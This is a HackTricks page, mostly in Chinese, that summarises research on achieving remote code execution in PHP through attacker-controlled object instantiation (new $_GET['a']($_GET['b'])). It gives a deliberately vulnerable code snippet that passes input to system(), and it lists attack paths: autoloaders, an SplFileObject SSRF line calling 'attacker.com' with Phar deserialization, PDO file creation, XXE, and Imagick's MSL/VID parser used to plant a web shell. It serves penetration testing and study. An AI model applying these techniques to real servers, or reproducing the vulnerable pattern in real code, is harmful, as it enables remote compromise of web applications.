PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

支持 HackTricks

这基本上是对 https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/ 的总结

介绍

创建新的任意对象,例如 new $_GET["a"]($_GET["a"]),可能导致远程代码执行 (RCE),详细信息见 写作。本文档强调了实现 RCE 的各种策略。

通过自定义类或自动加载实现 RCE

语法 new $a($b) 用于实例化一个对象,其中 $a 代表类名,$b 是传递给构造函数的第一个参数。这些变量可以来自用户输入,如 GET/POST,它们可以是字符串或数组,或来自 JSON,它们可能呈现为其他类型。

考虑下面的代码片段:

class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

在这种情况下,将 $a 设置为 AppApp2,并将 $b 设置为系统命令(例如,uname -a)会导致该命令的执行。

自动加载函数 可以被利用,如果没有这样的类可以直接访问。这些函数在需要时会自动从文件加载类,并使用 spl_autoload_register__autoload 定义:

spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

autoloading的行为因PHP版本而异,提供不同的RCE可能性。

通过内置类进行RCE

在缺乏自定义类或自动加载器的情况下,内置PHP类可能足以实现RCE。这些类的数量根据PHP版本和扩展的不同而在100到200之间。可以使用get_declared_classes()列出它们。

可以通过反射API识别感兴趣的构造函数,如以下示例和链接所示 https://3v4l.org/2JEGF

通过特定方法进行RCE包括:

SSRF + Phar反序列化

SplFileObject类通过其构造函数启用SSRF,允许连接到任何URL:

new SplFileObject('http://attacker.com/');

SSRF 可以导致在 PHP 8.0 之前的版本中使用 Phar 协议的反序列化攻击。

利用 PDOs

PDO 类构造函数允许通过 DSN 字符串连接到数据库,可能会启用文件创建或其他交互:

new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

PHP 版本高达 5.3.22 和 5.4.12 易受通过 SoapClientSimpleXMLElement 构造函数的 XXE 攻击,具体取决于 libxml2 的版本。

RCE via Imagick Extension

在对 项目依赖 的分析中,发现 Imagick 可以通过实例化新对象来实现 命令执行。这为利用漏洞提供了机会。

VID parser

识别到 VID 解析器具有将内容写入文件系统中任何指定路径的能力。这可能导致在可通过网络访问的目录中放置 PHP shell,从而实现远程代码执行 (RCE)。

VID Parser + File Upload

注意到 PHP 会将上传的文件临时存储在 /tmp/phpXXXXXX 中。Imagick 中的 VID 解析器利用 msl 协议,可以处理文件路径中的通配符,便于将临时文件转移到选定位置。这种方法提供了在文件系统内实现任意文件写入的额外途径。

PHP Crash + Brute Force

原始写作 中描述的方法涉及上传触发服务器崩溃的文件,然后再删除。通过暴力破解临时文件的名称,Imagick 可以执行任意 PHP 代码。然而,发现这种技术仅在过时的 ImageMagick 版本中有效。

References

Support HackTricks

Last updated